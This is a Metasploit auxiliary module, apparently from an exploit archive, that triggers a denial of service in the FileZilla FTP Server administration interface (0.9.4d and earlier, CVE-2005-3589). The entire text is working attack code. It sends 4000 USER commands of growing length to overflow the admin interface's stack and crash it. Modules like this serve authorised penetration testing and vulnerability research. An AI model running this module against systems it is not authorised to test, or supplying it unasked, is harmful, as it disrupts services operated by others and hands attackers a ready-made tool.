FileZilla FTP Server Admin Interface Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'FileZilla FTP Server Admin Interface Denial of Service',  
'Description' => %q{  
This module triggers a Denial of Service condition in the FileZilla FTP  
Server Administration Interface in versions 0.9.4d and earlier.  
By sending a procession of excessively long USER commands to the FTP  
Server, the Administration Interface (FileZilla Server Interface.exe)  
when running, will overwrite the stack with our string and generate an  
exception. The FileZilla FTP Server itself will continue functioning.  
},  
'Author' => [ 'aushack' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'BID', '15346' ],  
[ 'CVE', '2005-3589' ],  
[ 'EDB', '1336' ],  
[ 'OSVDB', '20817' ]  
],  
'DisclosureDate' => '2005-11-07'))  
end  
  
def run  
print_status("Sending 4000 packets, this may take a while.")  
  
4000.times do |x|  
connect  
sock.put("USER #{"A" * x}\r\n")  
disconnect  
end  
end  
end  
`